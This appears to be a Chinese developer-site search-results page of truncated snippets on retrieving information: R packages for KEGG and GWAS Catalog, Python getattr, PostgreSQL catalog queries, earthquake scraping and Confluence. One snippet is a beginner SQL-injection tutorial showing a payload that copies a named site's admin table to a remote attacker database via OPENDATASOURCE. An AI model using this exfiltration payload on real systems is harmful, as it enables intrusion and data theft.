首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

使用KEGGREST包快速获取KEGG数据库信息

KEGG数据库是我们经常用的一个生物医学数据库,虽然KEGG网站用起来很方便,但是如果想批量获取数据并整理成结果的话,使用R语言处理无疑是一个比较好的选择。...今天,米老鼠就带大家学习如何使用KEGGREST这个R包来获取KEGG数据库信息。...首先,我们在KEGG数据库(https://www.kegg.jp/kegg/pathway.html)中检索到IL-17通路的entry号(has04657),如下图所示: 接下来的代码就帮助我们获取这个通路上的所有基因...: IL17 <- keggGet(c('hsa04657')) #以IL-17通路的entry号来获取该通路的信息 str(IL17) #查看数据结构 从上图中我们可以看出IL-17是由2个大list...genes <- unlist(lapply(IL17[[1]]$GENE,function(x)strsplit(x,';'))) # 获取genes的信息 IL17_entrez <- genes[

3K10

再谈信息获取

诸如此类,还有很多的「中介」,其实都是通过信息差来赚钱。 3、信息过载的危害更大 从另一个角度说,获取信息的方式革新后,信息过载的现象越来越严重。...我们可以回想下每天获取信息信息源,发现多到我们根本没时间去完全吸收,更糟糕的是,这些信息都是主动投喂给我们的。...4、主动获取信息的动力变差 曹大新文章《搜索已死,谁来烧纸。》...种种迹象都在表明,主动获取信息的动力越来越差,信息投喂的场景越来越多。...以上,针对近期观察到的现象,发表一下个人的观点,不知道你获取信息的渠道都有哪些?是否存在获取不到自己中意内容的苦恼?欢迎给我留言说说你的经历。

92820
您找到你想要的搜索结果了吗?
是的
没有找到

获取对象信息

,可使用hasattr()预先判断对象是否包含         也可直接使用该函数获取,如果没有,则返回指定默认值,否则直接通过"对象.属性或方法"的方式会报错 setattr():给对象设置某属性或方法...,并赋值   只有在不知道对象信息的时候,才会去获取对象信息,如果可以通过"对象.属性",就不要通过 getattr()方式获取属性值   假设希望从文件流fp中读取图像,首先要判断该fp对象是否存在read...True getattr(obj, 'y') #输出:19 print(obj.y) #输出:19 getattr(obj, 'z') #输出:报错,如果试图获取不存在的属性...AttributeError的错误,对象obj没有属性'z' getattr(obj, 'z', 404) #输出:404,可以传入一个default参数,如果属性不存在,就返回默认值,获取属性...getattr(obj, 'power') #输出:>,获取对象

1.8K50

PostgreSql 怎么获取数据库中关键系统信息(一)

如何通过SQL 的方式获得数据库中的一些关键信息,是一个DB最正常的工作,如何通过一些SQL来获得PG的一些关键的参数和信息或者是数据库中的一些信息是需要知道的一件事情。...以下是部分 1 一般来说每种数据库中都有一个或几个系统的数据库,在PG中schemaname 以 pg_catalog开头都是系统表,通过系统表我们就可以了解的大部分数据库系统所做的事情 1 查看当前所有的表...~ '^pg_'; 3 当前数据库的用户 SELECT usename FROM pg_user; 4 列出某个表的字段 SELECT a.attname FROM pg_class c, pg_attribute...constraint_name, constraint_type FROM information_schema.table_constraints WHERE table_name = '表名'; 7 对某个约束的详细信息的展示...WHERE trigger_schema NOT IN ('pg_catalog', 'information_schema'); 以及关于 trigger 详细的信息 SELECT * FROM

1.1K50

R包”gwasrapidd”------快速获取GWAS Catalog数据库信息

在往期内容中,米老鼠和大家简单介绍过做孟德尔随机化研究使用到的数据库,主要是OpenGWAS, GWAS Catalog 和Phenoscanner这三个。...其中,Open GWAS库的数据可以使用“ieugwasr”包来快速获取,具体请参考往期内容。...今天我和大家简单介绍一下可以快速获取GWAS Catalog数据库信息的“gwasrapidd”包,该包于近期加入CRAN集。...从获取数据的角度来看,主要使用的有四个函数:get_studies(), get_associations(), get_variants(),和 get_traits()。 1....返回的结果是一个S4对象,我们可以使用slotNames()函数来获取每个slot的名字,这里我们发现my_studies主要包括8个slot,其中"studies"代表研究的基本信息,"genotyping_techs

8K32

MSSQL反弹注入获取迅达娱乐数据库信息数据

大家好我是sarizs,今天分享一个MSSQL数据的反弹注入获取数据库数据到本地,这技术分享适合才开始学习sql注入的小白(大佬绕过)。...既然要反弹注入我们需要有一个反弹的MSSQL数据库对象,这里我使用中国香港云的虚拟主机   使用URL:http://www.webweb.com 这里我们去创建一个表用来接收反弹过来的数据信息...').DB_14B3169_lddf.dbo.a select * from admin -- ;代表上一个语句的结束我们新启用另一个语句 insert into 把我们查询的内容写入到我们的数据库中...OPENDATASOURCE(provider_name,init_string) 分别代表我的数据库名,连接地址,用户,密码,端口 .DB_14B3169_lddf.dbo.a 代表我们连接的哪个库中的哪个表...这个语句翻译过来就是我结束上一个语句并新启一个语句,把我们当前查询到的admin表的数据写入到我们远程的数据库中去 我们接下来去我们的主机上看是否有反弹过来的数据 这边已经成功的接受到了我们反弹过来的数据信息

2K50

python获取地震信息

虽然自己还不能写出这么牛逼的系统,但是今天我想结合自己学到的Python知识,用Python获取地震信息,然后微信实时推送给你的群组或你的朋友。...1.前期准备 1.爬虫基本知识,比如requests库,以及lxml库; 2.利用Xpath进行HTML的解析; 之前写的一些简单项目,提取页面信息时使用的是正则表达式,但当项目复杂时,用正则表达式比较烦琐...,万一有地方写错了,可能导致匹配失败,所以使用正则表达式提取页面信息多多少少还是有些不方便。...通过最近学习,我知道了在网页中可以通过Xpath或CSS选择器来定位一个或多个节点,再调用相应的方法获取它的正文内容或者属性,可以很方便快捷的提取到我们想要的信息。...3.要实现微信实时推送肯定需要用到wxpy库; 4.本次项目从中国地震台网爬取地震信息,链接为:http://news.ceic.ac.cn/index.html?

87740

NodeJs 获取 Confluence 信息

今天我们来讲讲获取 Confluence 的信息获取信息后将其同步到 Microsoft Teams 的操作请参考 发送数据到 Microsoft Teams 的 Channel 上。...下面我们一步步来操作~ 配置 Confluence 信息 在进行接口请求之前,我们需要用到下面的这些配置信息。..."your_username", "password": "your_password", "hostname": "https://your_domain.com" } } 我们获取这些配置...获取 Confluence 上指定人员创建,且类型是文档,指定创建时间范围的记录 class Demo { // 类静态方法 static async getPersonalCreatedConfluence..., ['2023-03-15', '2023-03-16']) 代码跟上面的差不多,我们只是更改了 cql 的语句,并且更改了 expand 的值为 history.lastUpdated,因为我们要获取

86230
领券